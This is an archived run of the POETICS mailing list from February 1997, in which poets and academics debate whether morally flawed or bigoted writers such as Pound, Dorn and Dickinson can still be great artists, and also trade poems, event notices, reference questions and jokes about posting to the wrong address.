Dear Randolph--in fact, no one took it upon themselves to forward your message back to me, so I'm very glad that you yourself responded. I loved the description of your cat and the choperation. And I like your poem very much. Is your comment about PNG status a hint that my Tinfish might consider it? I'm still on sabbatical, and very vague. But it's very nice to be back in Hawai'i, where one can be vague in the sun and by the surf. Buffalo was too much grunge and freeze-burn. There's a strong chance I'll be going to England in late April or early May. I'd love to travel to Ireland to catch a glimpse of those O'Keefes of mine. Might I look you and yours up for dinner? On me (if it happens)! I'm also glad that someone has brilliant ideas about teaching. The more the merrier! aloha, Susan PS My friend Becky, whose book you signed, will be glad of your re-discovery.

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564. **David R. Israel**
Re: a Persian diatribe / ..."Chaos--the Rock Video"
Tue 18 Feb 1997

Folks --

here at the home corral, I'm gettin' the Poetics missives in Digest; so the Hakim = P.L.Wilson news was some part of a day late in getting to me; -- thanks to the several who've offered that useful footnote.

Christina Chirot's terse advice --
> Hakim Bey lives here in Wisconsin--Miekal And could give you more details--
> --
> His work is flamboyant & enjoyable
>
> Read Rumi
(i.e., final sentence) is noted w/ an aposite smile. Guess I will (some more).

"Wherever a pain is, the remedy goes there. Wherever a lowland is, the water runs there...." (Mathnawi), & such.

cheers,
d.i.

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.....,
1.....,
\\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////...'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
///\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
| "...honk if you believe in geese" |
\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\//..'

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565. Bil Brown
VOX Festival: Poetry In Louisville
Tue 18 Feb 1997

Something for you all...

The First Annual VOX Festival: April 25-27 1997

Louisville's Poetics and Performance Conference will bring Oral Performance from some of the key Spoken Word and performance artists from around the country to the Louisville Metropolitain area, for three days of panel discussions, workshops,demonstrations and music, featuring some of the most controversial and prolific of avant garde Performing Spoken Artists in America.

INCLUDING:
Nicole Blackman
Brenda Coultas
Anne Elliott
Anne Waldman
Pasq Wilson
and others...

REGISTRATION RATES & DEADLINES:
Postmarked by March 25th, 1997
$25 postage paid all event pass

$50 event pass after March 25th
Check & Money Order Only, Please
Write for more info on registration to:

VOX Festival
c/o The Kentucky Writers Coalition
Clifton Center
2117 Payne Street Suite 304-B
Louisville, KY 40206

or Email [redacted]

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566. **sschu30844**
Re: Randolph Healy
Tue 18 Feb 1997

I'm terribly sorry I sent a personal message to the entire list...(blush).

Susan

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567. **Tenney Nathanson**
Re: Evil poets
Tue 18 Feb 1997

---

also: a terrific piece by Andrew Parker on Pound, anti-semitism, $, and language, in Arac's /Postmodernism and Politics/.

tenney

At 07:15 PM 2/17/97 -0400, you wrote:
>Yes, I agree about the Bernstein piece. I'd also recommend Jerry
>McGann's essay, "The Cantos of Ezra Pound, the Truth in Contradiction"
>(from *Towards a Literature of Knowledge*), one of the first pieces to
>take on these issues seriously. And more recently, there's Perelman's
>Pound chapter in *The Trouble with Genius*. Also extremely useful.
>steve

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

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568. Chris Stroffolino
Re: POETICS Digest - 16 Feb 1997 to 17 Feb 1997
Tue 18 Feb 1997

First, a question (out of sheer laziness)-- Where is the O'Hara poem (or is it not a poem) in which he speaks of poetry (his?) in terms of the Abstract Expressionist Credo to want to keep the surface up?

Second, all that push pull stuff (is it dialogue yet?) and,
going, (out of sheer exhaustion)
though if the truth had rounded up many transparency mixtures
and scattered the lens in the city's sun,
one could oppose opposing
"and mine I loved till I to myself was not mine" (etc.)
which is MAYAKOVSKY that is STALIN that is MAYAKOVSKY
Assuming you are reading this very fast
like what was that LSD guy's name oh yeah slanislav grof
and the junk bin of memory the hypnosis of the exroomate
telling a friend subliminally "turn right" and outloud TURN LEFT, as if to
get on the wavelength but always spillover
and so GROF didn't take him in (oh this was 1985 or so---
before poetry or at least the great poetry wars (out of sheer exhaustion) and
then he lived in the flotation tank society on central park west but i heard
he was last in hawaii and he wasn't harry but poor harry what he did
wandering
was there a detox program, a way to figure out how to stay alive past 23
(even though he's 33). The answer is NO
(out of sheer idleness)---but there is no tragedy unless
you wake up one morning and realize your LEGS ARE TWISTED
coz you FELL ASLEEP WITH YOUR ROOTS ON.....

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569. Rachel Loden
the death of checkers
Tue 18 Feb 1997

A little something more for our conversation on the perfectibility of the species...

THE DEATH OF CHECKERS

> Grant that the old Adam in this Child may be so
> buried, that the new man may be raised up in him.
> --The Book of Common Prayer

This is the new socialist brain. This is the statue
of Dzerzhinsky falling over. This is my wife Pat.
This is an ode to the Bratsk Hydroelectric Project.
And I just want to say [abort, retry, fail...]

the kids, like all kids, love the little dog.
This/is/your/brain/speaking...So I want you all
to stonewall it. Because gentlemen, this is my last
dance contest, last waltz with Leonid

around the Winter Palace. This is the Komissar
of Moonbeams, this is the Soviet of Working People's
Reveries. This is the new man born out of Adam.
These are the new world order mysteries--oh,

Republican cloth coat. Oh gallery of Trotskyist
apostasies. Tricia and Julie do not weep for me:
I live and flourish in the smooth newt's tiny eyes,
my new brain fizzing with implanted memories.

--Rachel Loden
New American Writing 13

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570. **henry gould**
(no subject)
Tue 18 Feb 1997

On Sun, 16 Feb 1997 18:26:24 -0800 Tosh said:
>I think it is bad when we exculsively mix moralistic tendencies with art.
>I mean you can appreciate someone's politics and say 'wow, this person is
>right on, and therefore is a good poet...but also can't someone just be
>plain evil and be a great artist. I think this is possible. I think the
>reader just has to work harder in knowing the in-and-out of that artist's
>thinking and deal with it. I don't know why an artist has to be on a
>higher moral ground.

Most artists are just like other people, only worse. Their obsession with their work draws them away from people & into the labyrinth of dreams and vanity and illusion. Because they are worse than usual, people make excuses for their behavior, even romanticize it. Until the day comes when they have to appear before the tribunals and go to jail for their immoralities personal and artistic. The fact that their best and freest gifts and impulses go into their work fortunately saves the work itself and wins people over far and wide, just as it should.

And occasionally the work acts as a good influence on the lousy artist too. - Henry Gould

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571. Jill A Mccartney
stein query
Tue 18 Feb 1997

---

i'm writing about the politics of stein's later work, and just a few weeks ago someone mentionned a piece on stein's republicanism at http://www.slate.com/. i couldn't access it and so would like to try to get in touch with the author. anybody remember/know about this? please backchannel ([redacted]). thanks, jill mccartney

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572. Tom Mandel
gli poeti racisti
Tue 18 Feb 1997

With these words from Anselm Hollo...

"As an oldtime/oldfashioned, even, rootless ("we got legs, not roots") cosmopolite of long standing, I personally regard all self- or "identity"-definition based on "othering the Other" as a big mistake. It makes this species, all of us, atavistically vulnerable to the pathological fear and paranoia that often finds its expression in all kinds of forms of scapegoating, racism, bigotry, etc. Such brain function aberrations are traditionally exploited by demagogues warlords and "business" and "religious" "leaders." It's a tough one; the propensity seems quite "hard-wired," hence requires constant vigilance, first and foremost in regard to oneself. Paranoia is far more addictive than the old poppy juice."

I am completely in accord. He is especially right about the hard-wired part, as we see worldwide in this here enlightened age of ours. True also are the words in his poem, to the effect that we have the right to be judged by what is best about us and the best we've done. We can make that easier for folks, of course, by not spewing racist garbage as the other part of the mix!

Tom

Tom Mandel
****
Screen Porch * [redacted]
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

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573. Christopher Alexander
Re: Randolph Healy
Tue 18 Feb 1997

susan sed:
> I'm terribly sorry I sent a personal message to the entire list...(blush).
dont blush too hard--there seems to have been a spate of this
recently.

signed (one of the principal offenders) chris
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

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574. Mark Prejsnar
Re: Evil poets
Tue 18 Feb 1997

I am interested in reading McGann's thing--thanx for mentioning it...and I agree about the Perelman Pound essay, which I decided was one of the few other useful treatments I'd seen, when I read that book a year ago. It was a pity that I felt obscurely irritable about the rest of it--the discussion of Joyce felt too standard-academic, and the chapters on Zukofsky and Stein really made me uncomfortable, as they seemed to belittle the work of each on the grounds that it was hopelessly diminished by the poets' lack of "social location" (i.e. a meaningful audience and social role to work within)... That judgment seemed to me off-target. As regards Pound, I have to admit to having just read Perloff's "The Contemporary of Our Grandchildren" in Poetic License, and now have another first-rate essay to cite (not being an acadmic, I spend long amounts of time reading little but poetry, and then in sudden spasms catch up with criticism/theory I've missed).

On Mon, 17 Feb 1997 [redacted] wrote:

> *Yes, I agree about the Bernstein piece. I'd also recommend Jerry McGann's essay, "The Cantos of Ezra Pound, the Truth in Contradiction" (from *Towards a Literature of Knowledge*), one of the first pieces to take on these issues seriously. And more recently, there's Perelman's Pound chapter in *The Trouble with Genius*. Also extremely useful.*
> *steve*

> *On Mon, 17 Feb 1997, Mark Prejsnar wrote:*
>
> *In line with what Tosh Berman wrote (someone might be "just plain evil and a great artist"..forcing a reader to "work harder to know the ins-and-outs of that artist's work and deal with it").*
>
> *Likely few member of the list are unfamiliar with it, but I still think Bernstein's "Pounding Fascism," a chapter in A Poetics, is the best illustration I know of the nuanced and tension-ridden work of "knowing the ins-and-outs" of a body of poetry. Short tho' it is, I've often refered to this as the only indispensible piece I have ever read on Pound--the thing I send people to who are trying to make sense of his abiding weirdness. Useful for understinding vital things about the Cantos as poetry, as well as for addressing the issues we've been raising here.*
>
> *Mark Prejsnar*
>
> *Steve Shoemaker*

↑ Index

575. **amato**
Re: the death of checkers
Tue 18 Feb 1997

---

rachel, thanx for that!... i really enjoyed it...

best,

joe

↑ Index

576. **Jordan Davis**
when that a wide wood (can't hear)
Tue 18 Feb 1997

---

so where was the emphasis in some trees?
the attention to fallacy, were cliches a tragedy?
hypothesis? eminent domain
the enemy thought and the eminence
is a multinational not a nation? thou still. He
is speaking to a mechanism for producing liquor?
resource is attitude, the fog comes in

Gets his gat, plugs his map, Judy Garland,
was the original poetics the study of tragedy?
great map but where's (just like a pile of leaves)
the mountain? seems mainly to have done
with royal families. A thousand not yet
naive as crossed eyes (growth / value) (contrarian)

↑ Index

577. **Daniel Bouchard/College/hmco**
people-not-here-talk
Tue 18 Feb 1997

It's unusual (I may be wrong about this) that a poet publicly declares his intention to slug another poet in the chops.

I've read some of Dorn's poetry. It didn't rouse my fighting instinct.

Would someone (Aldon Neilsen? Tom Mandel?) mind taking the time to explain in more detail what it is Dorn may have said (in public only, please) to piss people off?

Also, while I'm making demands, I was wondering, Ron Silliman, if you would elaborate on why you liken Eliot Weinberger ("the AntiGroup politics they pursue. Which has an interesting political edge to it, especially when as in Eliot's case it comes across sounding ultraleftist with an echo of Pat Buchanan") to a Buchanan echo? cannon echo? canon echo?

[redacted]

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578. **Tosh**
Re: people-not-here-talk
Tue 18 Feb 1997

---

s.
>
>I've read some of Dorn's poetry. It didn't rouse my fighting instinct.
>
>Would someone (Aldon Neilsen? Tom Mandel?) mind taking the time to explain in
>more detail what it is Dorn may have said (in public only, please) to piss
>people off?
>
I too want to know. If it was discussed before in detail, i must have

missed it.
cheers,

Tosh Berman
TamTam Books

↑ Index

579. **Andrew D Epstein**
Re: Chris S's O'Hara question
Tue 18 Feb 1997

On Tue, 18 Feb 1997, Chris Stroffolino wrote:

> *First, a question (out of sheer laziness)--*
> *Where is the O'Hara poem (or is it not a poem) in which he speaks of poetry (his?) in terms of the Abstract Expressionist Credo to want to keep the surface up?*

Hi Chris --

The passage you're thinking of is, I think, at the end of O'Hara's essay piece "Notes on _Second Avenue_." It's in Collected Poems, p. 497:

"As I look this over, it seems quite a batty way to give information about the poem, but the verbal elements are not too interesting to discuss although they are intended to keep the surface of the poem high and dry, not wet, reflective and self-conscious. Perhaps the obscurity comes in here, in the relationship between the surface and the meaning, but I like it that way since the one is the the other (you have to use words) and I hope the poem to _be_ the subject, not just about it."

Hope that helps!

Take care,

Andrew Epstein

↑ Index

580. **David Israel**
Re: people-not-here-talk -Reply
Tue 18 Feb 1997

>>Would someone (Aldon Neilsen? Tom Mandel?) mind taking
the time to explain in
>>more detail what it is Dorn may have said (in public only,
please) to piss
>>people off?

>
>I too want to know. If it was discussed before in detail, i must
>have missed it. cheers,
>
>Tosh Berman
>TamTam Books

for that matter, I, too, am out of the loop on this --

(I'd read some fiction Dorn wrote once, have heard of the guy vaguely, and have a notion he's ensconsed w/ the Naropa School more or less) --

but this seems bit like having somehow missed news of WW III

so, some note of background, kindly?

d.i.

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581. David Bromige
poetry & address
Tue 18 Feb 1997

---

thanks, everybody, three of you have already responded back-channel w robert mittenthal's e-ddress. We here at KSEB ("Radio Shishkebab") have compared results and chosen our fave version which we shall be contacting any minute now. So the 3 free tickets to last Saturday's Johnny Otis & the Band show have already gone, sorry & Th-th-thats all folks.But several hitherto (to us) unknown e-ddresses emerged incidentally, it was good trolling. Keep those cards & po-ems coming in! Especially those poems! Thank you,Randolph Healy,Jordan Davis & Rachel Loden! The List is getting Poetic at last. db

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582. Jeremy F Green
Re: divers
Tue 18 Feb 1997

On Fri, 14 Feb 1997, David Bromige wrote:

> 2) Ed Dorn's _North Atlantic Turbine_ is an amazing book, as it was when it
> first appeared. And there are earlier books: _Hands Up_, _The Newly
> Fallen_, filled with moving poetry, hard-bitten/tender poems of love and
> mourning, often with a political--but what we used to call "human"--edge to
> them. _Gunslinger_ was a notable departure from the work of his first
> decade of publishing. Some big change, announced with "Stand by the Door
> Awhile, Death, there are Others" which i read as intermediary between the

> early and the middle periods of this terrific poet.
>
> As for bigotry--we have Aldon's indications, and wasnt an issue of his zine
> _Rolling Stock_ full of taunting of AIDS sufferers? I'd welcome clarity on
> that one.
> >
Eliot Weinberger has an appropriately indignant discussion of this in
Words on Paper (as far as I remember, Rolling Stock "awarded" infection
for sundry "poetry crimes"--what they were I can't recall, but along the
lines of "praising the work of Joanne Kyger and Stephen Rodefer", etc.)

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583. Christopher Reiner
Re: stein query
Tue 18 Feb 1997

Slate archives articles in a section called "compost." This should be the URL of the Gertrude Stein article (by Herbert Stein, called, I think "Cubist as Republican").

http://www.slate.com/itseemstome/97-02-06/itseemstome.asp

On Tue, 18 Feb 1997, Jill A Mccartney wrote:

> *i'm writing about the politics of stein's later work, and just a few weeks ago someone mentionned a piece on stein's republicanism at http://www.slate.com/. i couldn't access it and so would like to try to get in touch with the author. anybody remember/know about this? please backchannel ([redacted]).*
> *thanks,*
> *jill mccartney*

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584. Mark Roberts
AWOL Happenings (forwarded)
Tue 18 Feb 1997

>Date: Wed, 19 Feb 1997 06:56:50 +1000
>To: [redacted]
>From: [redacted] (AWOL)
>Subject: AWOL Happenings
>
>Just a reminder that AWOL's HAPPENINGS list is now available from our website:

>http://www.ozemail.com.au/~awol/
>HAPPENINGS is updated regularly and contains information about Australian writing
>events, competitions and conferences on a state by state basis. HAPEENINGS
>also contains information on the latest small press releases and writing
>programs on Australian radio and tv.
>
>To enable to keep our information up to date please let us know of any
>event that we haven't listed.
>
>
>
>Mark Roberts
>
>
>
>AWOL
>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

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585. **David Bromige**
its okay to commit unspeakable acts
Tue 18 Feb 1997

George, its ok to commit unspeakable acts and to speak of them to other people but lets just keep this between the two of us ok? Its ok to compare dickinson to dorn because if ed went public with his prejudices, emily went private with her heaven-knows-what. So thats all ok eh, that balances out. Anyway george just one more little secret we can keep between us, eh? (we canadians say "eh"). david

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586. **David Bromige**
oh my god
Tue 18 Feb 1997

Everybody, i dont know what just came over me--I posted to the list a very personal transmission from me to george bowering!! oh my god, dont read it! oh, this is terrible! how cd i make such a dumb mistake? yr address is almost entirely different from the List's address! Can you believe it? Its like putting the car into Drive when you think youre putting it into Reverse! shucks. uh, algernon charles.

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587. **Mark Weiss**
(no subject)
Tue 18 Feb 1997

Anselm--just back from my jaunt to Baja and days of unimaginable salty bliss to find all manner of fun stuff in my emailbox. Old hat by now, but I'd like to put my two cents in. I think you and others have misunderstood Ron Silliman's comments, which I quote below. I can see why you might be incensed: on the surface Ron appears either to assume that what he says is self-evident or to be indulging in gratuitous provocation--equally childish and arrogant mind-sets, typical of that phase of adolescent individuation in which self is defined in opposition. But is it not possible that what we have here is deliberate self-parody? If it is, we have been invited to be present at the emergence of a new level of wisdom--the development of an observing ego--and we can only applaud Ron's generosity in allowing us to be there.

But as for those appropriative galoots who claim that we're all part of their herd if we do langpo-type stuff (as if the 20th century and a good part of the 19th were his own personal rangeland), out west where you and I live they call

buckaroos who brand whatever cattle happen to be around rustlers, and the hanging judges don't care much for theory as an excuse.

On the subject of poor Dorn and even poor Pound, your eloquent poem speaks volumes. I'd just like to add a few names from various hit lists to stir the dust a bit. What do we make of Spicer's line, gratutous in context, about a "New York jew salesman of amethyst pyjamas?" Are we allowed to read Celine, Maurois, Giono, Montherlant (add any number of French writers)? Brecht, Picasso, Rodin and Williams were in various ways unpleasant to their wives and girlfriends, and Gesualdo killed his wife. Degas was an antisemite. Frieda Kahlo, that somewhat improbable heroine, was by any standards a "difficult" woman, and would have been even if she'd had a more abstemious husband. Dickenson and Smart were more than a little over the edge. And let's not forget Leni Riefenstahl (I'm sure I missed the spelling on that one). At what point are all these folks so beyond the pale that they take their work with them? Or do we recognize the flaws, grit our teeth and learn, even become enriched, despite the fact that we might not feel comfortable at that cocktail party?

Now that I've made this list, it occurs to me that this group of the difficult, demented and disreputable may be a school, even though most of these folk had a sentimental attachment to the notion of the loner.

Best to the missus.

Consider, for example, that non-group posed by Forrest Gander. Several of the folks on that list--Taggart, Cole and Sobin, say (and to some degree Palmer)--all share enough features to compose a group of their own except that the Loner status with all its aching pretentiousness is one of its major preconditions. All of them are male second generation Black Mountain poets whose work is notably more timid than that of their elders. And all of them are too much in love with a certain codified sense of Beauty, tho it plays out in very different ways from person to person (except that for all it comes across as some variant of nostalgia). We could build a slightly larger circle here and toss in some other folk who fit the category, such as Augie Keinzhaler, George Evans, Eliot Weinberger. What keeps these folks from being a group is precisely the AntiGroup politics they pursue. Which has an interesting political edge to it, especially when as in Eliot's case it comes across sounding ultraleftist with an echo of Pat Buchanan.

Another cluster of writers who could be legitimately grouped would be poets who were trained ("educated" in the most literal sense) within the academic poetics of the free verse '60s mode who have sometimes been associated with langpo, largely because they have very lively minds and can't keep their work from having lots of snap and pop at all points: Gander himself is an example, as are C.D. Wright, Jorie Graham, Ann Lauterbach and Bob Hass. These writers (and here is where Palmer would come in again) have a more complicated

relation to questions of community and tradition and a very ambivalent stance toward innovation.

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588. **Mark Weiss**
(no subject)
Tue 18 Feb 1997

Oops (blush blush blush), meant to backchannel that last. Oh well, now I've gone public. Hope no one feels I've been provocative. I try never to be provocative.

Did the Milesian lie who said that all Milesians were liars?

↑ Index

589. **Dave Zauhar**
Re: the academy of evil poets
Tue 18 Feb 1997

Those of you working in the computer industry might have a harder time getting hold of the source here, but listmembers in the academy should be able to track it down w/ relative ease: the current (February 21, 1997) issue of The Chronicle of Higher Education has an article about the MFA program at Syracuse, complete w/ tales of a poet throwing Scotch in the face of a graduate student and calling her a "stalinist bitch." My favorite part is the pictures of 4 writers. They all look like they're posing for their dust jacket photograph. Is that a part of the curriculum at MFA programs these days? Anyway, the article is entertaining when it shows the various writers at each other's throats, but it's also disturbing to see the manipulation of students that seems to be commonplace, if the article is to be believed. Read it and weep (or laugh, depending on your disposition).

Dave Zauhar

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590. **Wendy Battin**
Re: oh my god
Wed 19 Feb 1997

Hey, I'm deeply disappointed. I just posted my entire sexual, criminal, & literary history to the list by accident and it never showed up. Just shows where too much trust in technology gets you.

wendy (aside, stage left)

On Tue, 18 Feb 1997, David Bromige wrote:

> *Everybody, i dont know what just came over me--I posted to the list a very personal transmission from me to george bowering!! oh my god, dont read it! oh, this is terrible! how cd i make such a dumb mistake? yr address is almost entirely different from the List's address! Can you believe it? Its like putting the car into Drive when you think youre putting it into Reverse! shucks. uh, algernon charles.*

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591. **Aldon L. Nielsen**

Re: its okay to commit unspeakable acts

Wed 19 Feb 1997

"Vinnie and I say masses for poor Irish boys souls. So far as I am concerned I should like to have you kill some--there are so many now, there is no room for the Americans, and I cant think of a death that would be more after my mind than scientific destruction, scholastic dissolution, there's something lofty in it, it smacks of going up!" --Emily Dickinson to her brother -- June 15, 1851

Now,,,, is it really all that difficult to understand that I might talk about Dickinson's poetry with my students and also talk about this part of her thought? One conversation helps us to understand something about her poetry -- the other conversation helps us, perhaps, to understand something about our culture that we probably need to understand as much as we need her poetry -- The irony in her poetry and in this letter might even help us to comprehend the ironies of our own history -- who is trying to police what in this recent discussion???

yours in the shank o' the evening,
the grunt vassar of San Ho

↑ Index

592. **Mark Weiss**

(no subject)

Wed 19 Feb 1997

---

alright, alright, I was a little obvious. Spreads a little innocent merriment, anyway.

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593. **Aldon L. Nielsen**
Re: oh my god
Wed 19 Feb 1997

Just received a message from the deity -- it was intended for the whole list but apparently used the wrong reply function and came to me alone -- It said: "Don't trust any messages over fifty!"

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594. **Miekal And**
Re: Irony Emily
Wed 19 Feb 1997

David Bromige wrote:
>
> I am backchanelled by one of our number inquiring as to why I have regrets.
> I have regrets because all the importrant anthologies are now being edited
> by close relatives of those poets I had bumped off. Nuff said? db

well david, you & I & alan (jennifer) will just have to make our own anthology,now wont we? we can call is New American Poetry.

miekal

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595. **Eliza McGrand- CVA Guest**
Re: oh my god
Wed 19 Feb 1997

---

dear wendy

we got the literary and criminal part, but the sexual part seems to have gotten turned, partwy through, into ascii gibberish. could you please at least finish the part about the rubber suit and the feathers? several of the list members have a bet on how it will turn out... e

↑ Index

596. **Peter Landers**
Re: people-not-here-talk -Reply
Wed 19 Feb 1997

> *Would someone (Aldon Neilsen? Tom Mandel?) mind taking*
> *the time to explain in*
> *more detail what it is Dorn may have said (in public only,*

> *please) to piss*
> *people off?*
>
> *I too want to know. If it was discussed before in detail, i must*
> *have missed it. cheers,*
>
> *Tosh Berman*
> *TamTam Books*
>
> *for that matter, I, too, am out of the loop on this --*
>
> *(I'd read some fiction Dorn wrote once, have heard of the guy*
> *vaguely, and have a notion he's ensconsed w/ the Naropa School*
> *more or less) --*
>
> *but this seems bit like having somehow missed news of WW III*
>
> *so, some note of background, kindly?*
>
> *d.i.*

Dorn and Tom Clark seemed to think that AIDS was a topic of humor. They nominated various infamous people for the award which consisted of an injection of the AIDS virus. This done to the lurid graphic of a dripping hypo. I wrote them at the time and told them that I didn't think it was funny. I asked Dorn after a reading what he was thinking of. He was not cordial <g> and refused to talk about it.

Pete L.

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597. Mark Wallace
most artists are worse than other people
Wed 19 Feb 1997

Artists are like other people, only worse? Oh geez, Henry. I thought artists were other people. Some bad traits, good traits, etc. Artists are more likely to dream? Geez, these days they're more likely to be excellent business people, holding a regular job, doing their work as an artist, having families too sometimes and not even necessarily beating them or being addicted to drugs. I mean, really, the only thing worse than being ordinary is being romanticized, even if in the negative.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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598. **Wendy Battin**
Re: oh my god
Wed 19 Feb 1997

On Wed, 19 Feb 1997, Eliza McGrand- CVA Guest wrote:

> *we got the literary and criminal part, but the sexual part seems to have gotten turned, partwy through, into ascii gibberish. could you please at least finish the part about the rubber suit and the feathers? several of the list members have a bet on how it will turn out...*

Huh? the rubber suit and feathers was the literary part.

w

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599. **Jordan Davis**
Re: this sentence is a lie?
Wed 19 Feb 1997

I was able to get the lying cretan/milesian paradox to shut down when I took the statement 'everything I say is a lie' to be sarcastic ... J

↑ Index

600. **charssmith**
Re: people-not-here-talk -Reply
Wed 19 Feb 1997

In a message dated 97-02-19 02:40:28 EST, you write:

<< (I'd read some fiction Dorn wrote once, have heard of the guy vaguely, and have a notion he's ensconsed w/ the Naropa School more or less) -- >>

Hardly. He lives in Boulder, but teaches at CU. Check out Tom Clark's _Naropa Poetry Wars_ (or somesuch) to find out why he doesn't hang with the Disembodied crowd.

I think soemone already mentioned this, but there was an issue of his magazine, Rolling Stock, in the 80's full of vicious AIDS jokes & anti-gay sentiment. Lost

my respect then. Sad. I still like the early work & _Gunslinger_. The one time I heard him read, he was too drunk.

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601. **henry gould**
Re: most artists are worse than other people
Wed 19 Feb 1997

Well, the most important artist of "our generation" (listening, Mickey Mouse Club members?) I know personally is Jack Spandrift, the hard-drinkin tough-talkin po-yeti from Brainerd MN. That proves it. Did you read his egregious attack on Fellow-Poet Dorn? I'm embarrassed to be associated with a list that would include such a person.

And furthermore, I tink I said in my fust post that people romanticize artistic "badness" in a very very bad way. I don't really think artists are wuss than other people, I was just tryin to rhetoroarically counteract the moralist front. This ain't to say I don't agree completely with Aldon that Emily Dickinson's scorn of me Irish furfathers is relevant to the Historical Taste-Building nekessary here & everywhere, & with Mandel, Tom, that slugs must not cower under the rug in the face of rampant bigotry. Oh no! Let slugs emerge!

Poets aren't worse than other people. It's just that people in general are so BAD that any predilection for expression-obsession tends to drag the lame foot over the ground and leave the said poet unstaid. - Henry Gould

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602. **David Bromige**
Irony & Emily
Wed 19 Feb 1997

---

is it just lil old me trying to "save the appearances" or is there a Swiftian ring to Dickinson's sentiments re my people? (I am not actually descended from irish stock, but since the whole world wants to be, it wd be egregious of me to exclude myself).

I have much pleasure of the "o my god" string, thanks Wendy & Eliza & Aldon. And good on you, Mark W, for taking the kidding so well. I had some bad moments during the night, feeling i had shown my less-than-charitable side to the List. I can only pray that one of these midnights, euphoric & heedless on Diet 7-Up and Manchego cheese, I dont reveal the names--and they are of many nations--of all those poets I had throttled & dumped in the river. Weird percussion aids, end-rime, end-runs around beautiful obstacles, the sixpack drunk with a fellow-poet, ghazals, gazelles (beauty & grace of), sestinas, Dad's pocket-fluff,

Mom's hemline, the hole in Sissie's wall--they were sucking for a bruise. But still, I have my regrets. db

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603. **David Bromige**
Irony Emily
Wed 19 Feb 1997

I am backchanelled by one of our number inquiring as to why I have regrets. I have regrets because all the importrant anthologies are now being edited by close relatives of those poets I had bumped off. Nuff said? db

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604. **Toni Simon**
Re: Light Street (reviews)
Wed 19 Feb 1997

Since this is my first posting I would like to say hello to all of you and to thank Charles Bernstein and the State University of New York at Buffalo for making this important access possible. Although I was not on-line when several reviews of my new book Light Street from Zasterle Press appeared (2/12-2/14) I was delighted when I did see them and I am very appreciative. Special thanks to Henry Gould, Charles Alexander, Tom Beard, Fred Muratori and to my good friends Mark Wallace, David Bromige and Douglas Messerli. As was mentioned in several of the postings concerning Light Street and my other books, Zasterle Press, edited by Manuel Brito in the Canary Islands, is a terrific press and has included- since 1994- such books as The Whole Note by Gill Ott, a collaboration by Alan Davies with the photographer M.M. Winterford, Acoustic Masks by Ted Pearson, The Weatherman Turns Himself In by Leslie Scalapino, Keys To The Caverns by Clark Coolidge, and Train of Thought by Jack Spicer. Earlier books include those by Charles Bernstein, Carla Harryman, Barrett Watten, Ray DiPalma, Bruce Andrews, the late Jerry Estrin and the late Daniel Davidson.

Nick Piombino

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605. **Aldon L. Nielsen**
Re: "Poets are other people"
Wed 19 Feb 1997

I thought I read in Sartre that Hell was other people -- Oh damn! Is that why nobody wants to be stuck in a living room with me?

↑ Index

606. **Aldon L. Nielsen**
Re: Other Mothers' Sons
Wed 19 Feb 1997

Well, having had a good yuck while reading Henry's last -- I looked back at the post on Emily Dickinson -- and while "history" is indeed mentioned, I can't seem to find any reference to taste in those sentences whatsoever --

Tell me, Ramon Fernandez, if you can,
Why this blessed rage for taste

↑ Index

607. **Sylvester Pollet**
Re: "Poets are other people"
Wed 19 Feb 1997

On the other hand, Aldon, are you so sure you'd want to be stuck in a living room with Sartre?

> *I thought I read in Sartre that Hell was other people -- Oh damn! Is that why nobody wants to be stuck in a living room with me?*

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608. **aerialedge**
Tina Darragh reading
Wed 19 Feb 1997

Sunday, Feb. 23rd, 8 PM

a reading/talk

by Tina Darragh

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC 20007

ph [redacted]

hurray!

↑ Index

609. **henry**
Re: Irony Emily
Wed 19 Feb 1997

> *I am backchanelled by one of our number inquiring as to why I have regrets.*
> *I have regrets because all the importrant anthologies are now being edited*
> *by close relatives of those poets I had bumped off. Nuff said? db*

Let it go, Dave. Aunt Spurl had it coming, anyway. I've included your sestina, "Turkey Time for Stuffed Shirts" (with a few editorial downgrades) in my upcoming anthology, _Dribble Down the Line : Odiferous Poets of the 90s_ (Cowboy Laundry Press, POB 13, Small Town, Wyo 11174). It's due out next week. You don't mind I used it, do you? Thanks. p.s. the books's only $39.95, prepaid only, please. - Jack Spandrift p.s. no, you "Poets" out there - don't get your hopes up. YOU ARE NOT IN THIS ANTHOLOGY!!!

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610. **Aldon L. Nielsen**
Re: Irony & Emily Play Together in Perfect Harmony
Wed 19 Feb 1997

I always consider a sentence of death by scientific education to be Swiftian in nature -- I also have always imagined that modest proposals for the eating of one's "own" people have a slightly different "taste" than proposals that others should be devoured -- If for no other reason than that the self is nearly always excluded from the sentence passed upon even one's own -- though a modest proposal for autoingestion WOULD seem to set a new standard for modesty as well as irony --

well, now I see that I finally have come down on the side of taste after all -- to quote that great poet Slinger Francisco: "I never ate a white meat yet!"

are we past the fifty mark yet?

And please remember the following from Charles Bernstein's list of rules
for the POETICS list:
all irony
(including sarcasm, schtick,
mocking, jokes, and comic innuendo)
will be prohibited from the list.
This is a particularly difficult rule
to enforce automatically, but recent,
unpublishable, research, indicates
that there may be genetic markers of
sarcasm and our team of crack(ed?) computer

experts are working around the clock
to find programs to detect this "irony
gene" in linguistic expression.

